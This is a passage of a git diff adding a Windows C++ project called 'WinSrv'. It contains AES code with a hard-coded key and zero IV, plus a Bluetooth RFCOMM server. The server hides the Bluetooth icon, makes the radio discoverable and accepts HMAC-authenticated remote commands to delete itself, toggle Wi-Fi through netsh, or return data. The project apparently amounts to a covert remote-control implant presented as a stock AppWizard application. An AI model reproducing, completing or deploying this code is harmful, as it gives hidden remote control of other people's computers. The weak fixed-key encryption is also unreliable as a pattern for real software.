(int)PlainTxtLen); + AlgInfo->BufLen += PlainTxtLen; + *CipherTxtLen = 0; + return CTR_SUCCESS; + } + + if( PlainTxt==CipherTxt ) + return CTR_FATAL_ERROR; + + memcpy(AlgInfo->Buffer+BufLen, PlainTxt, (int)(BlockLen - BufLen)); + PlainTxt += BlockLen - BufLen; + PlainTxtLen -= BlockLen - BufLen; + + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(CipherTxt, AlgInfo->ChainVar, AlgInfo->Buffer); + CipherTxt += BlockLen; + while( PlainTxtLen>=BlockLen ) + { + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(CipherTxt, AlgInfo->ChainVar, PlainTxt); + PlainTxt += BlockLen; + CipherTxt += BlockLen; + PlainTxtLen -= BlockLen; + } + + memcpy(AlgInfo->Buffer, PlainTxt, (int)PlainTxtLen); + AlgInfo->BufLen = (AlgInfo->BufLen&0xF0000000) + PlainTxtLen; + *CipherTxtLen -= PlainTxtLen; + + return CTR_SUCCESS; +} + + +static RET_VAL CFB_EncUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD PlainTxtLen, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN; + DWORD BufLen=AlgInfo->BufLen; + + *CipherTxtLen = BufLen + PlainTxtLen; + + if( *CipherTxtLenBuffer+BufLen, PlainTxt, (int)PlainTxtLen); + AlgInfo->BufLen += PlainTxtLen; + *CipherTxtLen = 0; + return CTR_SUCCESS; + } + + if( PlainTxt==CipherTxt ) + return CTR_FATAL_ERROR; + + memcpy(AlgInfo->Buffer+BufLen, PlainTxt, (int)(BlockLen - BufLen)); + PlainTxt += BlockLen - BufLen; + PlainTxtLen -= BlockLen - BufLen; + + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(AlgInfo->ChainVar, AlgInfo->ChainVar, AlgInfo->Buffer); + BlockCopy(CipherTxt, AlgInfo->ChainVar); + CipherTxt += BlockLen; + while( PlainTxtLen>=BlockLen ) + { + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(AlgInfo->ChainVar, AlgInfo->ChainVar, PlainTxt); + BlockCopy(CipherTxt, AlgInfo->ChainVar); + PlainTxt += BlockLen; + CipherTxt += BlockLen; + PlainTxtLen -= BlockLen; + } + + memcpy(AlgInfo->Buffer, PlainTxt, (int)PlainTxtLen); + AlgInfo->BufLen = (AlgInfo->BufLen&0xF0000000) + PlainTxtLen; + *CipherTxtLen -= PlainTxtLen; + + return CTR_SUCCESS; +} + + +RET_VAL AES_EncUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD PlainTxtLen, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + switch( AlgInfo->ModeID ) + { + case AI_ECB : return ECB_EncUpdate(AlgInfo, PlainTxt, PlainTxtLen, CipherTxt, CipherTxtLen); + case AI_CBC : return CBC_EncUpdate(AlgInfo, PlainTxt, PlainTxtLen, CipherTxt, CipherTxtLen); + case AI_OFB : return OFB_EncUpdate(AlgInfo, PlainTxt, PlainTxtLen, CipherTxt, CipherTxtLen); + case AI_CFB : return CFB_EncUpdate(AlgInfo, PlainTxt, PlainTxtLen, CipherTxt, CipherTxtLen); + default : return CTR_FATAL_ERROR; + } +} + + +static RET_VAL ECB_EncFinal( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN, BufLen=AlgInfo->BufLen; + DWORD PaddByte; + + PaddByte = PaddSet(AlgInfo->Buffer, BufLen, BlockLen, AlgInfo->PadType); + if( PaddByte>BlockLen ) return PaddByte; + + if( PaddByte==0 ) + { + *CipherTxtLen = 0; + return CTR_SUCCESS; + } + + BlockCopy(CipherTxt, AlgInfo->Buffer); + AES_Encrypt(ScheduledKey, CipherTxt); + + *CipherTxtLen = BlockLen; + + return CTR_SUCCESS; +} + + +static RET_VAL CBC_EncFinal( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN, BufLen=AlgInfo->BufLen; + DWORD PaddByte; + + PaddByte = PaddSet(AlgInfo->Buffer, BufLen, BlockLen, AlgInfo->PadType); + if( PaddByte>BlockLen ) return PaddByte; + + if( PaddByte==0 ) + { + *CipherTxtLen = 0; + return CTR_SUCCESS; + } + + BlockXor(CipherTxt, AlgInfo->Buffer, AlgInfo->ChainVar); + AES_Encrypt(ScheduledKey, CipherTxt); + BlockCopy(AlgInfo->ChainVar, CipherTxt); + + *CipherTxtLen = BlockLen; + + return CTR_SUCCESS; +} + + +static RET_VAL OFB_EncFinal( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN; + DWORD BufLen=AlgInfo->BufLen; + DWORD i; + + *CipherTxtLen = BlockLen; + + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + for( i=0; iBuffer[i] ^ AlgInfo->ChainVar[i]); + + *CipherTxtLen = BufLen; + + return CTR_SUCCESS; +} + + +static RET_VAL CFB_EncFinal( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BufLen=AlgInfo->BufLen; + + *CipherTxtLen = BufLen; + + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(AlgInfo->ChainVar, AlgInfo->ChainVar, AlgInfo->Buffer); + memcpy(CipherTxt, AlgInfo->ChainVar, BufLen); + + + *CipherTxtLen = BufLen; + + + return CTR_SUCCESS; +} + + +RET_VAL AES_EncFinal( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + switch( AlgInfo->ModeID ) + { + case AI_ECB : return ECB_EncFinal(AlgInfo, CipherTxt, CipherTxtLen); + case AI_CBC : return CBC_EncFinal(AlgInfo, CipherTxt, CipherTxtLen); + case AI_OFB : return OFB_EncFinal(AlgInfo, CipherTxt, CipherTxtLen); + case AI_CFB : return CFB_EncFinal(AlgInfo, CipherTxt, CipherTxtLen); + default : return CTR_FATAL_ERROR; + } +} + + +RET_VAL AES_DecInit(AES_ALG_INFO *AlgInfo) +{ + AlgInfo->BufLen = 0; + if( AlgInfo->ModeID!=AI_ECB ) + memcpy(AlgInfo->ChainVar, AlgInfo->IV, AES_BLOCK_LEN); + return CTR_SUCCESS; +} + + +static RET_VAL ECB_DecUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD CipherTxtLen, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN; + DWORD BufLen=AlgInfo->BufLen; + + *PlainTxtLen = BufLen + CipherTxtLen; + + if( BufLen+CipherTxtLen <= BlockLen ) + { + memcpy(AlgInfo->Buffer+BufLen, CipherTxt, (int)CipherTxtLen); + AlgInfo->BufLen += CipherTxtLen; + *PlainTxtLen = 0; + return CTR_SUCCESS; + } + + if( CipherTxt==PlainTxt ) return CTR_FATAL_ERROR; + + *PlainTxtLen = BufLen + CipherTxtLen; + memcpy(AlgInfo->Buffer+BufLen, CipherTxt, (int)(BlockLen - BufLen)); + CipherTxt += BlockLen - BufLen; + CipherTxtLen -= BlockLen - BufLen; + + BlockCopy(PlainTxt, AlgInfo->Buffer); + AES_Decrypt(ScheduledKey, PlainTxt); + PlainTxt += BlockLen; + while( CipherTxtLen>BlockLen ) + { + BlockCopy(PlainTxt, CipherTxt); + AES_Decrypt(ScheduledKey, PlainTxt); + CipherTxt += BlockLen; + PlainTxt += BlockLen; + CipherTxtLen -= BlockLen; + } + + memcpy(AlgInfo->Buffer, CipherTxt, (int)CipherTxtLen); + AlgInfo->BufLen = (AlgInfo->BufLen&0xF0000000) + CipherTxtLen; + *PlainTxtLen -= CipherTxtLen; + + + return CTR_SUCCESS; +} + + +static RET_VAL CBC_DecUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD CipherTxtLen, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN, BufLen=AlgInfo->BufLen; + + *PlainTxtLen = BufLen + CipherTxtLen; + + if( BufLen+CipherTxtLen <= BlockLen ) + { + memcpy(AlgInfo->Buffer+BufLen, CipherTxt, (int)CipherTxtLen); + AlgInfo->BufLen += CipherTxtLen; + *PlainTxtLen = 0; + return CTR_SUCCESS; + } + + if( CipherTxt==PlainTxt ) return CTR_FATAL_ERROR; + + *PlainTxtLen = BufLen + CipherTxtLen; + memcpy(AlgInfo->Buffer+BufLen, CipherTxt, (int)(BlockLen - BufLen)); + CipherTxt += BlockLen - BufLen; + CipherTxtLen -= BlockLen - BufLen; + + BlockCopy(PlainTxt, AlgInfo->Buffer); + AES_Decrypt(ScheduledKey, PlainTxt); + BlockXor(PlainTxt, PlainTxt, AlgInfo->ChainVar); + PlainTxt += BlockLen; + if( CipherTxtLen<=BlockLen ) + { + BlockCopy(AlgInfo->ChainVar, AlgInfo->Buffer); + } + else + { + if( CipherTxtLen>BlockLen ) + { + BlockCopy(PlainTxt, CipherTxt); + AES_Decrypt(ScheduledKey, PlainTxt); + BlockXor(PlainTxt, PlainTxt, AlgInfo->Buffer); + CipherTxt += BlockLen; + PlainTxt += BlockLen; + CipherTxtLen -= BlockLen; + } + while( CipherTxtLen>BlockLen ) + { + BlockCopy(PlainTxt, CipherTxt); + AES_Decrypt(ScheduledKey, PlainTxt); + BlockXor(PlainTxt, PlainTxt, CipherTxt-BlockLen); + CipherTxt += BlockLen; + PlainTxt += BlockLen; + CipherTxtLen -= BlockLen; + } + BlockCopy(AlgInfo->ChainVar, CipherTxt-BlockLen); + } + + memcpy(AlgInfo->Buffer, CipherTxt, (int)CipherTxtLen); + AlgInfo->BufLen = (AlgInfo->BufLen&0xF0000000) + CipherTxtLen; + *PlainTxtLen -= CipherTxtLen; + + + return CTR_SUCCESS; +} + + +static RET_VAL OFB_DecUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD CipherTxtLen, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN; + DWORD BufLen=AlgInfo->BufLen; + + *PlainTxtLen = BufLen + CipherTxtLen; + + if( BufLen+CipherTxtLen <= BlockLen ) + { + memcpy(AlgInfo->Buffer+BufLen, CipherTxt, (int)CipherTxtLen); + AlgInfo->BufLen += CipherTxtLen; + *PlainTxtLen = 0; + return CTR_SUCCESS; + } + + if( PlainTxt==CipherTxt ) + return CTR_FATAL_ERROR; + + *PlainTxtLen = BufLen + CipherTxtLen; + memcpy(AlgInfo->Buffer+BufLen, CipherTxt, (int)(BlockLen - BufLen)); + CipherTxt += BlockLen - BufLen; + CipherTxtLen -= BlockLen - BufLen; + + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(PlainTxt, AlgInfo->ChainVar, AlgInfo->Buffer); + PlainTxt += BlockLen; + while( CipherTxtLen>BlockLen ) + { + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(PlainTxt, AlgInfo->ChainVar, CipherTxt); + CipherTxt += BlockLen; + PlainTxt += BlockLen; + CipherTxtLen -= BlockLen; + } + + memcpy(AlgInfo->Buffer, CipherTxt, (int)CipherTxtLen); + AlgInfo->BufLen = (AlgInfo->BufLen&0xF0000000) + CipherTxtLen; + *PlainTxtLen -= CipherTxtLen; + + + return CTR_SUCCESS; +} + + +static RET_VAL CFB_DecUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD CipherTxtLen, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN; + DWORD BufLen=AlgInfo->BufLen; + + *PlainTxtLen = BufLen + CipherTxtLen; + + if( BufLen+CipherTxtLen <= BlockLen ) + { + memcpy(AlgInfo->Buffer+BufLen, CipherTxt, (int)CipherTxtLen); + AlgInfo->BufLen += CipherTxtLen; + *PlainTxtLen = 0; + return CTR_SUCCESS; + } + + if( PlainTxt==CipherTxt ) + return CTR_FATAL_ERROR; + + *PlainTxtLen = BufLen + CipherTxtLen; + memcpy(AlgInfo->Buffer+BufLen, CipherTxt, (int)(BlockLen - BufLen)); + CipherTxt += BlockLen - BufLen; + CipherTxtLen -= BlockLen - BufLen; + + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(PlainTxt, AlgInfo->ChainVar, AlgInfo->Buffer); + BlockCopy(AlgInfo->ChainVar, AlgInfo->Buffer); + PlainTxt += BlockLen; + while( CipherTxtLen>BlockLen ) + { + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(PlainTxt, AlgInfo->ChainVar, CipherTxt); + BlockCopy(AlgInfo->ChainVar, CipherTxt); + CipherTxt += BlockLen; + PlainTxt += BlockLen; + CipherTxtLen -= BlockLen; + } + + memcpy(AlgInfo->Buffer, CipherTxt, (int)CipherTxtLen); + AlgInfo->BufLen = (AlgInfo->BufLen&0xF0000000) + CipherTxtLen; + *PlainTxtLen -= CipherTxtLen; + + + return CTR_SUCCESS; +} + + +RET_VAL AES_DecUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, + DWORD CipherTxtLen, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + switch( AlgInfo->ModeID ) + { + case AI_ECB : return ECB_DecUpdate(AlgInfo, CipherTxt, CipherTxtLen, PlainTxt, PlainTxtLen); + case AI_CBC : return CBC_DecUpdate(AlgInfo, CipherTxt, CipherTxtLen, PlainTxt, PlainTxtLen); + case AI_OFB : return OFB_DecUpdate(AlgInfo, CipherTxt, CipherTxtLen, PlainTxt, PlainTxtLen); + case AI_CFB : return CFB_DecUpdate(AlgInfo, CipherTxt, CipherTxtLen, PlainTxt, PlainTxtLen); + default : return CTR_FATAL_ERROR; + } +} + + +RET_VAL ECB_DecFinal( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN, BufLen=AlgInfo->BufLen; + RET_VAL ret; + + if( BufLen==0 ) + { + *PlainTxtLen = 0; + return CTR_SUCCESS; + } + *PlainTxtLen = BlockLen; + + if( BufLen!=BlockLen ) return CTR_CIPHER_LEN_ERROR; + + BlockCopy(PlainTxt, AlgInfo->Buffer); + AES_Decrypt(ScheduledKey, PlainTxt); + + ret = PaddCheck(PlainTxt, BlockLen, AlgInfo->PadType); + if( ret==(DWORD)-3 ) return CTR_PAD_CHECK_ERROR; + if( ret==(DWORD)-1 ) return CTR_FATAL_ERROR; + + *PlainTxtLen = BlockLen - ret; + + return CTR_SUCCESS; +} + + +RET_VAL CBC_DecFinal( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN, BufLen=AlgInfo->BufLen; + RET_VAL ret; + + if( BufLen==0 ) + { + *PlainTxtLen = 0; + return CTR_SUCCESS; + } + *PlainTxtLen = BlockLen; + + if( BufLen!=BlockLen ) return CTR_CIPHER_LEN_ERROR; + + BlockCopy(PlainTxt, AlgInfo->Buffer); + AES_Decrypt(ScheduledKey, PlainTxt); + BlockXor(PlainTxt, PlainTxt, AlgInfo->ChainVar); + BlockCopy(AlgInfo->ChainVar, AlgInfo->Buffer); + + ret = PaddCheck(PlainTxt, BlockLen, AlgInfo->PadType); + if( ret==(DWORD)-3 ) return CTR_PAD_CHECK_ERROR; + if( ret==(DWORD)-1 ) return CTR_FATAL_ERROR; + + *PlainTxtLen = BlockLen - ret; + + return CTR_SUCCESS; +} + + +RET_VAL OFB_DecFinal( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD i, BufLen=AlgInfo->BufLen; + + *PlainTxtLen = BufLen; + + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + for( i=0; iBuffer[i] ^ AlgInfo->ChainVar[i]); + + *PlainTxtLen = BufLen; + + return CTR_SUCCESS; +} + + +RET_VAL CFB_DecFinal( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BufLen=AlgInfo->BufLen; + + *PlainTxtLen = BufLen; + + AES_Encrypt(ScheduledKey, AlgInfo->ChainVar); + BlockXor(AlgInfo->ChainVar, AlgInfo->ChainVar, AlgInfo->Buffer); + memcpy(PlainTxt, AlgInfo->ChainVar, BufLen); + + *PlainTxtLen = BufLen; + + return CTR_SUCCESS; +} + + +RET_VAL AES_DecFinal( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD *PlainTxtLen) +{ + switch( AlgInfo->ModeID ) + { + case AI_ECB : return ECB_DecFinal(AlgInfo, PlainTxt, PlainTxtLen); + case AI_CBC : return CBC_DecFinal(AlgInfo, PlainTxt, PlainTxtLen); + case AI_OFB : return OFB_DecFinal(AlgInfo, PlainTxt, PlainTxtLen); + case AI_CFB : return CFB_DecFinal(AlgInfo, PlainTxt, PlainTxtLen); + default : return CTR_FATAL_ERROR; + } +} + + +BYTE UserKey[AES_USER_KEY_LEN] ={ + 0xaf, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, + 0x88, 0x93, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, + 0x00, 0x12, 0x22, 0x3a, 0x44, 0x55, 0xf6, 0x77, + 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0xd7 +}; +int AESEnCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) +{ + RET_VAL ret; + int eelen = 0; + BYTE IV[AES_BLOCK_LEN]={0}; + AES_ALG_INFO AlgInfo; + unsigned int DstLen = bufoutLen; + + + AES_SetAlgInfo(AES_ModeType, AES_PadType, IV, &AlgInfo); + ret = AES_EncKeySchedule(UserKey, 16, &AlgInfo); + if( ret!=CTR_SUCCESS ) { + return ret; + } + ret = AES_EncInit(&AlgInfo); + if( ret!=CTR_SUCCESS ) { + return -1; + } + ret = AES_EncUpdate(&AlgInfo, (unsigned char*)lpbufin, bufinLen, (unsigned char*)lpbufout, &DstLen); + if( ret!=CTR_SUCCESS ) { + return ret; + } + + eelen = DstLen; + ret = AES_EncFinal(&AlgInfo, (unsigned char*)lpbufout+eelen, &DstLen); + if( ret!=CTR_SUCCESS ) { + return ret; + } + return 0; +} + +int AESDeCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) +{ + RET_VAL ret; + int ddlen = 0; + BYTE IV[AES_BLOCK_LEN]={0}; + AES_ALG_INFO AlgInfo; + unsigned int DstLen = bufoutLen; + + AES_SetAlgInfo(AES_ModeType, AES_PadType, IV, &AlgInfo); + ret = AES_DecKeySchedule(UserKey, 16, &AlgInfo); + if( ret!=CTR_SUCCESS ){ + return ret; + } + ret = AES_DecInit(&AlgInfo); + if( ret!=CTR_SUCCESS ){ + return ret; + } + + ret = AES_DecUpdate(&AlgInfo, (unsigned char*)lpbufin, bufinLen, (unsigned char*)lpbufout, &DstLen); + if( ret!=CTR_SUCCESS ){ + return ret; + } + + ddlen = DstLen; + ret = AES_DecFinal(&AlgInfo, (unsigned char*)lpbufout+ddlen, &DstLen); + if( ret!=CTR_SUCCESS ) { + return ret; + } + + return 0; +} \ No newline at end of file diff --git a/BlueSock.cpp b/BlueSock.cpp new file mode 100644 index 0000000..e62de4d --- /dev/null +++ b/BlueSock.cpp @@ -0,0 +1,216 @@ +#include "StdAfx.h" +#include "winsock2.h" +#include "ws2bth.h" +#include "bluetoothapis.h" +#include "algo.h" +#include "checkhmac.h" +#pragma comment(lib, "ws2_32.lib") +#pragma comment(lib, "irprops.lib") +int Algo_DeCrypt(unsigned char algo, const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen); +int Algo_EnCrypt(unsigned char algo, const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen); +void Send2A(SOCKET s, unsigned int dwalgo, char *buf, int bufLen, unsigned int dwRet); +void DoData(SOCKET Blusock, char *buf, unsigned int dwAlgo); +void Delself(); +void wifi(unsigned int IsOn); +int HideBlueIcon(int v); + + +DWORD __stdcall RecvData(void*lpParam) +{ + REQHEAD rq; + SOCKET s = (SOCKET)lpParam; + RtlZeroMemory(&rq, sizeof(rq)); + int rs = 0; + char *buf = NULL; + int bufSize = 512 * 1024; + char *lpbufout = NULL; + + do + { + rs = recv(s, (char*)&rq, sizeof(rq), 0); + if (rs != sizeof(rq)){ + break; + } + if (rq.wMagic != FLAGS){ + break; + } + + int Size = rq.wLen; + if (Size >= bufSize || Size == 0 ){ + break; + } + buf = (char*)malloc(bufSize); + if (!buf){ + break; + } + RtlZeroMemory(buf, bufSize); + rs = recv(s, buf, Size, 0); + if (rs <= 0){ + break; + } + lpbufout = (char*)malloc(bufSize); + RtlZeroMemory(lpbufout, bufSize); + + unsigned char recv_hmac[SHA256_DIGESTLEN] = { 0 }; + hmac_(MY_HMAC_KEY, MY_HMAC_KEY_LEN, (unsigned char*)buf, rs, recv_hmac, SHA256_DIGESTLEN); + if (!hmac_comp(rq.hmac, recv_hmac)) + { + REQHEAD rq; + Send2A(s, 1, (char*)&rq, sizeof(rq), 0); + break; + } + + if (rq.wFunc == IOCTL_DELETE){ + Delself(); + Send2A(s, rq.wAlgo, NULL, 0, 0); + break; + } + if (rq.wFunc == IOCTL_WIFION){ + wifi(1); + Send2A(s, rq.wAlgo, NULL, 0, 0); + break; + } + if (rq.wFunc == IOCTL_WIFIOF){ + wifi(0); + Send2A(s, rq.wAlgo, NULL, 0, 0); + break; + } + if (rq.wFunc != IOCTL_GETDATA){ + break; + } + + Algo_DeCrypt((unsigned char)rq.wAlgo, buf, rs, lpbufout, bufSize); + lpbufout[rs] = 0; + DoData(s, lpbufout, rq.wAlgo); + } while (0); + + if (buf){ + free(buf); + } + + return 0; +} + +DWORD __stdcall BlueSrvthread( void*lpParam ) +{ + WSADATA wsaData = { 0 }; + WSAStartup(MAKEWORD(2, 2), &wsaData); + SOCKET s; + do + { + SOCKADDR_BTH sa; + s = socket(AF_BTH, SOCK_STREAM, BTHPROTO_RFCOMM); + if (SOCKET_ERROR == s){ + break; + } + RtlZeroMemory(&sa, sizeof(sa)); + sa.addressFamily = AF_BTH; + sa.btAddr = 0; + sa.port = 20; + if (SOCKET_ERROR == bind(s, (sockaddr*)&sa, sizeof(SOCKADDR_BTH))){ + break; + } + listen(s, 5); + SOCKADDR_BTH SrcDev; + while ( 1 ) + { + int Len = sizeof(SrcDev); + memset(&SrcDev, 0, sizeof(SrcDev)); + SOCKET client = accept(s, (sockaddr*)&SrcDev, &Len); + OutputDebugStringA("##$\r\n"); + if (client == SOCKET_ERROR){ + Sleep(1000); + continue; + } + else + { + StartThread(RecvData, (void*)client); + } + } + + } while (0); + + return 0; +} + +void Send2A(SOCKET s, unsigned int dwalgo, char *buf, int bufLen, unsigned int dwRet ) +{ + if (dwRet){ + bufLen = 0; + } + + int size = sizeof(REQHEAD)+bufLen; + char *lpNewbuf = (char*)malloc(size+1024); + do + { + if (!lpNewbuf){ + break; + } + RtlZeroMemory(lpNewbuf, size+1024); + REQHEAD *rq = (REQHEAD*)lpNewbuf; + rq->wMagic = FLAGS; + rq->wLen = bufLen; + rq->wRet = dwRet; + rq->wAlgo = dwalgo; + rq->wFunc = IOCTL_GETDATA; + if (0 == dwRet && bufLen == 0){ + rq->wFunc = IOCTL_DELETE; + } + + if (bufLen > 0){ + Algo_EnCrypt( dwalgo, buf, bufLen, lpNewbuf + sizeof(REQHEAD), bufLen+1024 ); + rq->wLen = rq->wLen + 15; + rq->wLen = rq->wLen / 16; + rq->wLen = rq->wLen * 16; + } + + hmac_(MY_HMAC_KEY, MY_HMAC_KEY_LEN, (unsigned char*)lpNewbuf + sizeof(REQHEAD), (int)rq->wLen, rq->hmac, SHA256_DIGESTLEN); + size = rq->wLen + sizeof(REQHEAD); + + send(s, lpNewbuf, size, 0); + + } while (0); + + +} + +void ScanLocalBlueDevice() +{ + BLUETOOTH_FIND_RADIO_PARAMS btParam; + HANDLE hRadio = NULL; + HBLUETOOTH_RADIO_FIND hFind = NULL; + RtlZeroMemory(&btParam, sizeof(btParam)); + btParam.dwSize = sizeof(btParam); + hFind = BluetoothFindFirstRadio(&btParam, &hRadio); + if (hFind) + { + do + { + BLUETOOTH_RADIO_INFO RadioInfo; + if (hRadio) + { + RtlZeroMemory(&RadioInfo, sizeof(RadioInfo)); + RadioInfo.dwSize = sizeof(RadioInfo); + if (ERROR_SUCCESS == BluetoothGetRadioInfo(hRadio, &RadioInfo)) + { + BluetoothEnableIncomingConnections(hRadio, TRUE); + BluetoothEnableDiscovery(hRadio, TRUE); + } + } + } while (BluetoothFindNextRadio(hFind, &hRadio)); + BluetoothFindRadioClose(hFind); + } +} + +void wifi(unsigned int IsOn); + + +void BlueSrv() +{ + HideBlueIcon(0); + ScanLocalBlueDevice(); + CreateThread(NULL, 0, BlueSrvthread, NULL, 0, NULL); + while (1){ + Sleep(1000); + } +} \ No newline at end of file diff --git a/ReadMe.txt b/ReadMe.txt new file mode 100644 index 0000000..9bfc04d --- /dev/null +++ b/ReadMe.txt @@ -0,0 +1,56 @@ +======================================================================== + WIN32 APPLICATION : WinSrv +======================================================================== + + +AppWizard has created this WinSrv application for you. + +This file contains a summary of what you will find in each of the files that +make up your WinSrv application. + +WinSrv.cpp + This is the main application source file. + +WinSrv.dsp + This file (the project file) contains information at the project level and + is used to build a single project or subproject. Other users can share the + project (.dsp) file, but they should export the makefiles locally. + + +///////////////////////////////////////////////////////////////////////////// +AppWizard has created the following resources: + +WinSrv.rc + This is a listing of all of the Microsoft Windows resources that the + program uses. It includes the icons, bitmaps, and cursors that are stored + in the RES subdirectory. This file can be directly edited in Microsoft + Visual C++. + +res\WinSrv.ico + This is an icon file, which is used as the application's icon (32x32). + This icon is included by the main resource file WinSrv.rc. + +small.ico + %%This is an icon file, which contains a smaller version (16x16) + of the application's icon. This icon is included by the main resource + file WinSrv.rc. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named WinSrv.pch and a precompiled types file named StdAfx.obj. + +Resource.h + This is the standard header file, which defines new resource IDs. + Microsoft Visual C++ reads and updates this file. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" to indicate parts of the source code you +should add to or customize. + + +///////////////////////////////////////////////////////////////////////////// diff --git a/StdAfx.cpp b/StdAfx.cpp new file mode 100644 index 0000000..dd19502 --- /dev/null +++ b/StdAfx.cpp @@ -0,0 +1,3 @@ + +#include "stdafx.h" + diff --git a/StdAfx.h b/StdAfx.h new file mode 100644 index 0000000..17137f1 --- /dev/null +++ b/StdAfx.h @@ -0,0 +1,65 @@ + + +#if !defined(AFX_STDAFX_H__A9DB83DB_A9FD_11D0_BFD1_444553540000__INCLUDED_) +#define AFX_STDAFX_H__A9DB83DB_A9FD_11D0_BFD1_444553540000__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif + +#define _WINSOCK_DEPRECATED_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#define _CRT_NON_CONFORMING_SWPRINTFS +#define WIN32_LEAN_AND_MEAN +#define StartThread( func, para ) CreateThread( NULL,0, func, para,0, NULL ) +#define CloseThread(x) CloseHandle(x) + +#include +#include +#include +#include +#include +#include "winsock2.h" +#include +#pragma pack(1) + +typedef struct tag_CONNECTSTRU +{ + DWORD dwalgo; + SOCKET BlueSock; + char buf[1024]; + +}CONNECTSTRU; + + +#define FLAGS 0x5687 +#define IOCTL_GETDATA 0x1 +#define IOCTL_DELETE 0x2 +#define IOCTL_WIFION 0x3 +#define IOCTL_WIFIOF 0x4 + +#define ALGO_TWOFISH 1 +#define ALGO_SM4 2 +#define ALGO_RC4 3 +#define ALGO_AES 4 +#define SHA256_DIGESTLEN 32 +typedef struct tag_REQHEAD +{ + WORD wMagic; + WORD wAlgo; + DWORD wFunc; + DWORD wLen; + DWORD wRet; + unsigned char hmac[SHA256_DIGESTLEN]; +}REQHEAD, *PREQHEAD; + + +#pragma pack() + + + + + + + +#endif diff --git a/UpgradeLog.htm b/UpgradeLog.htm new file mode 100644 index 0000000..322618b Binary files /dev/null and b/UpgradeLog.htm differ diff --git a/WinSrv.cpp b/WinSrv.cpp new file mode 100644 index 0000000..3eec444 --- /dev/null +++ b/WinSrv.cpp @@ -0,0 +1,52 @@ + +#include "stdafx.h" +#include "winsrv.h" + + + +void BlueSrv(); + +void wifi(const char* name, unsigned int IsOn) +{ + char szCommandLine[512] = { 0 }; + char szCommandLineA[512] = { 0 }; + if (IsOn){ + strcpy(szCommandLine, "cmd /c netsh connect name \"WLAN\" enabled"); + strcpy(szCommandLineA, "cmd /c netsh interface set interface \"无线网络连接\" enabled"); + + sprintf_s(szCommandLine, 512, 